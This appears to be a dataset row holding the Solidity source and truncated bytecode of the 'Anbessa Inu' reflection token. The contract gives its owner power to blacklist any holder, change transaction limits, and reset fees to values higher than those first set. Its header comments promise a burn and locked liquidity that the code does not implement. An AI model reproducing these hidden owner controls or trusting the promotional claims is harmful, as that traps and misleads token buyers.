address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0x7d0f079a55bd0e2f22fadb1d51ea43cd22cccb5b
|
/**
*Submitted for verification at Etherscan.io on 2021-06-11
*/
// Anbessa Inu (ANBESSA)
//Limit Buy
//Cooldown
//Bot Protection
//Liqudity dev provides and lock
//TG: https://t.me/anbessainu
//Twitter: https://twitter.com/anbessainu
//50% burn
//5% to anbessa
//45% to liquidity
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract AnbessaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Anbessa Inu";
string private constant _symbol = "ANBESSA \xF0\x9F\x90\xAF";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 1;
uint256 private _teamFee = 9;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 12;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600b81526020017f416e626573736120496e75000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f414e424553534120f09f90af0000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b600f42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600c600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063